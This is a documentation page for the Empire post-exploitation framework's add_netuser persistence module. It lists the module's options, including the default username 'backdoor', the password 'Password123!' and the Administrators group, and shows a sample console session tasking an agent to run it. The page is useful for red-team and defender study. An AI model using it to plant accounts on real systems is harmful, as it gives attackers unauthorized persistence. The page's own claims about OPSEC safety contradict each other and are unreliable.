Add-NetUser - Empire Module
This page contains detailed information about how to use the powershell/persistence/misc/add_netuser Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Add-NetUser
Module: powershell/persistence/misc/add_netuser
Source code [1]: empire/server/modules/powershell/persistence/misc/add_netuser.yaml
Source code [2]: empire/server/data/module_source/situational_awareness/network/powerview.ps1
MITRE ATT&CK:
T1033
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes
The add_netuser module adds a domain user or a local user to the current (or remote) machine, if permissions allow,.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the add_netuser module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the add_netuser module:
Agent
Agent to run module on.
Additional Module Options
This is a list of additional options that are supported by the add_netuser module:
ComputerName
Hostname to add the local user to.
Default value: localhost
.
Domain
Specified domain to add the user to.
GroupName
Group to optionally add the user to.
Default value: Administrators
.
OutputFunction
PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
Default value: Out-String
.
Suggested values: Out-String
, ConvertTo-Json
, ConvertTo-Csv
, ConvertTo-Html
, ConvertTo-Xml
.
Password
The password to set for the added user.
Default value: Password123!
.
UserName
The username to add.
Default value: backdoor
.
Add_netuser Example Usage
Here's an example of how to use the add_netuser module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/misc/add_netuser
Author @harmj0y
Background True
Comments https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/
Description Adds a domain user or a local user to the current (or remote) machine,
if permissions allow,
Language powershell
Name powershell/persistence/misc/add_netuser
NeedsAdmin False
OpsecSafe True
Techniques http://attack.mitre.org/techniques/T1033
,Record Options--,----------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|----------------|----------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|----------------|----------------|----------|-------------------------------------|
| ComputerName | localhost | False | Hostname to add the local user to. |
|----------------|----------------|----------|-------------------------------------|
| Domain | | False | Specified domain to add the user |
| | | | to. |
|----------------|----------------|----------|-------------------------------------|
| GroupName | Administrators | False | Group to optionally add the user |
| | | | to. |
|----------------|----------------|----------|-------------------------------------|
| OutputFunction | Out-String | False | PowerShell's output function to use |
| | | | ("Out-String", "ConvertTo-Json", |
| | | | "ConvertTo-Csv", "ConvertTo-Html", |
| | | | "ConvertTo-Xml"). |
|----------------|----------------|----------|-------------------------------------|
| Password | Password123! | False | The password to set for the added |
| | | | user. |
|----------------|----------------|----------|-------------------------------------|
| UserName | backdoor | False | The username to add. |
'----------------'----------------'----------'-------------------------------------'
(Empire: usemodule/powershell/persistence/misc/add_netuser) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/misc/add_netuser) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Author
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/misc/add_netuser.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/situational_awareness/network/powerview.ps1
- https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/
- http://attack.mitre.org/techniques/T1033
See Also
Check also the following modules related to this module:
- powershell/persistence/misc/add_sid_history
- powershell/persistence/misc/debugger
- powershell/persistence/misc/disable_machine_acct_change
- powershell/persistence/misc/get_ssps
- powershell/persistence/misc/install_ssp
- powershell/persistence/misc/memssp
- powershell/persistence/misc/skeleton_key
- powershell/collection/vaults/add_keepass_config_trigger
- powershell/privesc/powerup/service_exe_useradd
- powershell/privesc/powerup/service_useradd
- python/situational_awareness/network/dcos/chronos_api_add_job
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.